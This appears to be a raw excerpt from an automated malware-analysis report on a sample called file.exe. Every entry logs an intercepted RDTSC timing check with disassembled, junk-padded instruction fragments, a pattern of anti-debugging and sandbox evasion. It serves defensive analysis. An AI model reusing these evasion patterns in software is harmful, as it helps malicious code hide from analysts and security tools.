Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA030F second address: 4EA035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F89084F5D8Eh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F89084F5D90h 0x00000018 mov edx, dword ptr [ebp+0Ch] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F89084F5D97h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA03EC second address: 4EA0419 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8908E6920Bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8908E69217h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0419 second address: 4EA041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA041D second address: 4EA0423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC064E second address: 4EC068D instructions: 0x00000000 rdtsc 0x00000002 mov cx, BE37h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F89084F5D8Ch 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F89084F5D90h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F89084F5D90h 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC068D second address: 4EC0691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0691 second address: 4EC0695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0695 second address: 4EC069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC069B second address: 4EC06A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC06A1 second address: 4EC0736 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E6920Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov edi, 2A982A94h 0x00000012 pushfd 0x00000013 jmp 00007F8908E6920Dh 0x00000018 and ax, B356h 0x0000001d jmp 00007F8908E69211h 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ecx 0x00000025 jmp 00007F8908E6920Eh 0x0000002a xchg eax, esi 0x0000002b jmp 00007F8908E69210h 0x00000030 push eax 0x00000031 jmp 00007F8908E6920Bh 0x00000036 xchg eax, esi 0x00000037 jmp 00007F8908E69216h 0x0000003c lea eax, dword ptr [ebp-04h] 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F8908E6920Ah 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0736 second address: 4EC073C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC073C second address: 4EC0797 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8908E6920Ch 0x00000009 and al, 00000068h 0x0000000c jmp 00007F8908E6920Bh 0x00000011 popfd 0x00000012 call 00007F8908E69218h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push ecx 0x0000001c jmp 00007F8908E6920Eh 0x00000021 mov dword ptr [esp], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8908E6920Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0797 second address: 4EC079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC079B second address: 4EC07A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07A1 second address: 4EC07BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07BC second address: 4EC07C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0017 second address: 4EC001D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC001D second address: 4EC0021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0021 second address: 4EC0053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F89084F5D99h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F89084F5D8Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0053 second address: 4EC0063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8908E6920Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0063 second address: 4EC0067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0067 second address: 4EC009F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 pushfd 0x00000011 jmp 00007F8908E69214h 0x00000016 and ecx, 148D11B8h 0x0000001c jmp 00007F8908E6920Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC009F second address: 4EC012C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007F89084F5D8Bh 0x0000000b xor si, 3B7Eh 0x00000010 jmp 00007F89084F5D99h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push FFFFFFFEh 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F89084F5D8Ch 0x00000022 xor cx, 3678h 0x00000027 jmp 00007F89084F5D8Bh 0x0000002c popfd 0x0000002d movzx ecx, dx 0x00000030 popad 0x00000031 push 0D8E8AD2h 0x00000036 jmp 00007F89084F5D90h 0x0000003b xor dword ptr [esp], 7B14149Ah 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F89084F5D97h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC012C second address: 4EC0144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8908E69214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0144 second address: 4EC017E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 0DDC86B7h 0x00000010 pushad 0x00000011 mov bl, 95h 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F89084F5D8Ch 0x0000001a adc si, 94C8h 0x0000001f jmp 00007F89084F5D8Bh 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC017E second address: 4EC01AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 68B8A4B9h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8908E6920Ch 0x00000016 add ah, 00000028h 0x00000019 jmp 00007F8908E6920Bh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01AB second address: 4EC01B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC01B1 second address: 4EC0201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e pushad 0x0000000f mov bl, 5Ch 0x00000011 movzx eax, dx 0x00000014 popad 0x00000015 push esi 0x00000016 pushad 0x00000017 push ecx 0x00000018 push edi 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b jmp 00007F8908E69214h 0x00000020 popad 0x00000021 mov dword ptr [esp], eax 0x00000024 jmp 00007F8908E69210h 0x00000029 sub esp, 18h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ecx, edx 0x00000031 mov di, 785Ch 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0201 second address: 4EC0231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F89084F5D97h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0231 second address: 4EC0290 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8908E6920Fh 0x00000008 pop ecx 0x00000009 push edx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F8908E69212h 0x00000014 xchg eax, ebx 0x00000015 jmp 00007F8908E69210h 0x0000001a xchg eax, esi 0x0000001b jmp 00007F8908E69210h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8908E6920Dh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0290 second address: 4EC02A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02A5 second address: 4EC02AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02AB second address: 4EC0351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F89084F5D94h 0x00000013 add eax, 13539C88h 0x00000019 jmp 00007F89084F5D8Bh 0x0000001e popfd 0x0000001f movzx ecx, di 0x00000022 popad 0x00000023 push esi 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F89084F5D8Eh 0x0000002b add esi, 21F7FEE8h 0x00000031 jmp 00007F89084F5D8Bh 0x00000036 popfd 0x00000037 jmp 00007F89084F5D98h 0x0000003c popad 0x0000003d mov dword ptr [esp], edi 0x00000040 pushad 0x00000041 mov ecx, 28DBF51Dh 0x00000046 pushad 0x00000047 jmp 00007F89084F5D98h 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0351 second address: 4EC0386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [769B4538h] 0x0000000b jmp 00007F8908E6920Eh 0x00000010 xor dword ptr [ebp-08h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8908E69217h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0386 second address: 4EC03A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F89084F5D96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03A8 second address: 4EC03AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03AC second address: 4EC03B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03B2 second address: 4EC03B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03B8 second address: 4EC03BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03BC second address: 4EC03C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03C0 second address: 4EC03D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F89084F5D8Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC03D6 second address: 4EC041A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F8908E6920Bh 0x0000000b adc cl, 0000000Eh 0x0000000e jmp 00007F8908E69219h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 mov esi, edx 0x0000001b mov edi, 6C02B66Eh 0x00000020 popad 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push esi 0x00000026 pop edx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC041A second address: 4EC0420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0420 second address: 4EC0424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB000C second address: 4EB002B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov dx, cx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB002B second address: 4EB006E instructions: 0x00000000 rdtsc 0x00000002 mov di, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ax, 3C0Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movzx ecx, di 0x00000013 pushfd 0x00000014 jmp 00007F8908E6920Fh 0x00000019 sub si, D22Eh 0x0000001e jmp 00007F8908E69219h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB006E second address: 4EB008C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov eax, 3D91B0F9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB008C second address: 4EB00B2 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, ax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8908E69216h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00B2 second address: 4EB00B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00B8 second address: 4EB00BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00BE second address: 4EB012B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b jmp 00007F89084F5D94h 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushfd 0x00000016 jmp 00007F89084F5D8Ah 0x0000001b sub cx, 56C8h 0x00000020 jmp 00007F89084F5D8Bh 0x00000025 popfd 0x00000026 popad 0x00000027 jmp 00007F89084F5D98h 0x0000002c popad 0x0000002d push eax 0x0000002e jmp 00007F89084F5D8Bh 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB012B second address: 4EB012F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB012F second address: 4EB0135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB01BE second address: 4EB01C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB01C4 second address: 4EB0224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 jmp 00007F89084F5D99h 0x0000000e test al, al 0x00000010 jmp 00007F89084F5D8Eh 0x00000015 je 00007F89084F5FA8h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F89084F5D8Dh 0x00000024 adc ah, FFFFFFD6h 0x00000027 jmp 00007F89084F5D91h 0x0000002c popfd 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0224 second address: 4EB0229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0229 second address: 4EB0281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 46EFE9E0h 0x00000008 push edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea ecx, dword ptr [ebp-14h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F89084F5D8Ch 0x00000019 adc ah, 00000028h 0x0000001c jmp 00007F89084F5D8Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F89084F5D98h 0x00000028 add ah, FFFFFF88h 0x0000002b jmp 00007F89084F5D8Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB035A second address: 4EB03CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8908E69217h 0x00000008 mov esi, 4771892Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F897A917316h 0x00000016 pushad 0x00000017 push esi 0x00000018 jmp 00007F8908E69217h 0x0000001d pop esi 0x0000001e mov dx, B79Ch 0x00000022 popad 0x00000023 js 00007F8908E6927Dh 0x00000029 jmp 00007F8908E6920Bh 0x0000002e cmp dword ptr [ebp-14h], edi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F8908E69215h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB03CC second address: 4EB0496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F89084F5D97h 0x00000009 add eax, 31D4D32Eh 0x0000000f jmp 00007F89084F5D99h 0x00000014 popfd 0x00000015 mov ax, C1B7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jne 00007F8979FA3E13h 0x00000022 jmp 00007F89084F5D8Ah 0x00000027 mov ebx, dword ptr [ebp+08h] 0x0000002a jmp 00007F89084F5D90h 0x0000002f lea eax, dword ptr [ebp-2Ch] 0x00000032 pushad 0x00000033 mov edx, esi 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F89084F5D92h 0x0000003e jmp 00007F89084F5D95h 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007F89084F5D90h 0x0000004a adc si, 9098h 0x0000004f jmp 00007F89084F5D8Bh 0x00000054 popfd 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F89084F5D8Bh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0496 second address: 4EB049C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB049C second address: 4EB04AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F89084F5D8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04AB second address: 4EB04D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov edi, 5382D8E6h 0x0000000f popad 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8908E69212h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04D2 second address: 4EB04D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04D8 second address: 4EB053D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8908E6920Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F8908E69217h 0x00000011 nop 0x00000012 jmp 00007F8908E69216h 0x00000017 xchg eax, ebx 0x00000018 jmp 00007F8908E69210h 0x0000001d push eax 0x0000001e jmp 00007F8908E6920Bh 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB053D second address: 4EB0558 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB057B second address: 4EB05D1 instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F8908E6920Bh 0x0000000d and eax, 00192EFEh 0x00000013 jmp 00007F8908E69219h 0x00000018 popfd 0x00000019 popad 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F8908E6920Ch 0x00000023 sub ah, FFFFFFF8h 0x00000026 jmp 00007F8908E6920Bh 0x0000002b popfd 0x0000002c push esi 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB05D1 second address: 4EA0DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 je 00007F8979FA3E04h 0x0000000c xor eax, eax 0x0000000e jmp 00007F89084CF4BAh 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 leave 0x00000017 retn 0004h 0x0000001a nop 0x0000001b sub esp, 04h 0x0000001e mov esi, eax 0x00000020 cmp esi, 00000000h 0x00000023 setne al 0x00000026 xor ebx, ebx 0x00000028 test al, 01h 0x0000002a jne 00007F89084F5D87h 0x0000002c jmp 00007F89084F5E8Fh 0x00000031 call 00007F890CE32557h 0x00000036 mov edi, edi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F89084F5D97h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DCD second address: 4EA0DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8908E69214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DE5 second address: 4EA0DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
